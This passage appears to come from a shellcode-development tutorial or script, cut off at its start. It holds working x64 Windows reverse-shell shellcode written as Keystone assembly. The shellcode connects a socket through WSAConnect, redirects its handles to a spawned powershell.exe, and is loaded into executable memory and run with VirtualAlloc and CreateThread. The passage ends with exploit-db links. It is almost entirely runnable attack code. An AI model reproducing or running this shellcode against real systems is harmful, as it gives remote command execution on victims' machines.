"   sub rsp, 0x50;"    # Reserve space for fastcall convention
"   mov [rsp+0x20], r9;"    # lpCalleeData = NULL as the 5th argument
"   mov [rsp+0x28], r9;"    # lpSQOS = NULL as the 6th argument
"   mov [rsp+0x30], r9;"    # lpGQOS = NULL as the 7th argument
"   call rax;"    # Call WSAConnect
"   add rsp, 0x50;"   # Release space

" call_createprocess:"
"   mov r9, rbp;"    # R9 = KERNEL32.DLL
"   mov r8d, 0x16b3fe72;"    # CreateProcessA Hash
"   call parse_module;"    # Search CreateProcessA address
"   mov rdx, 0x10107588753e7c7c;"    # Push string "exe.ll" + 0x1010101010101010 
"   mov r13, 0x1010101010101010;"    # Recover "exe.ll"
"   sub rdx, r13;"    
"   sub rsp,0x18;"    # Align stack to meet 16 bytes alignment 
"   push rdx;"    # Push string "ll.exe" to stack
"   mov rdx, 0x6568737265776f70;"    # Push string "ehsrewop"
"   push rdx;"    # Push string "powershe" to stack
"   mov rcx, rsp;"    # Application Name Argument as the 1st argument
"   push r12;"    # STDERROR
"   push r12;"    # STDOUTPUT
"   push r12;"    # STDINPUT
"   xor rdx, rdx;"
"   push dx;"    
"   push rdx;"
"   push rdx;" 
"   mov dx, 0x1110;"    # 0x100 = 0x1110 - 0x1010
"   sub dx, 0x1010;"   
"   push dx;"    # dwFlags = 0x100  
"   xor rdx, rdx;"
"   push dx;"
"   push dx;"
"   push rdx;"
"   push rdx;"
"   push rdx;"
"   push rdx;"
"   push rdx;"
"   push rdx;"
"   mov dl, 0x68;"
"   push rdx;"    # cb = 0x68 
"   mov rdi, rsp;"
"   mov rdx, rsp;"    
"   sub dl, 0x68;"
"   push rdx;"    # ProcessInformation as the 10th argument
"   push rdi;"    # Pointer to STARTINFO as the 9th argument
"   xor rdx, rdx;"
"   push rdx;"    # lpCurrentDirectory as the 8th argument
"   push rdx;"    # lpEnvironment as the 7th argument
"   push rdx;"    # dwCreationFlags as the 6th argument
"   inc rdx;"
"   push rdx;"    # bInheritHandles as the 5th argument
"   xor rdx, rdx;"
"   push rdx;"    # Reserve space for 4th argument on stack
"   push rdx;"    # Reserve space for 3th argument on stack
"   push rdx;"    # Reserve space for 2th argument on stack
"   push rdx;"    # Reserve space for 1th argument on stack
"   mov rdx, rcx;"    # lpCommandLine
"   xor rcx, rcx;"
"   mov r8, rcx;"    # lpProcessAttributes as the 3rd argument
"   mov r9, rcx;"    # lpThreatAttributes as the 4th argument
"   call rax;"
)

# Initialize engine in X64-64bit mode
ks = Ks(KS_ARCH_X86, KS_MODE_64)
encoding, count = ks.asm(CODE)
print("Encoded %d instructions..." % count)

sh = b""
for e in encoding:
    sh += struct.pack("B", e)
shellcode = bytearray(sh)

ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
                                          ctypes.c_int(len(shellcode)),
                                          ctypes.c_int(0x3000),
                                          ctypes.c_int(0x40))

buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr),
                                     buf,
                                     ctypes.c_int(len(shellcode)))
print("Shellcode located at address %s" % hex(ptr))
input("...ENTER TO EXECUTE SHELLCODE...")

ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.c_uint64(ptr),
                                         ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.pointer(ctypes.c_int(0)))

ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))




参考:

https://www.exploit-db.com/exploits/50291 

https://www.exploit-db.com/exploits/40890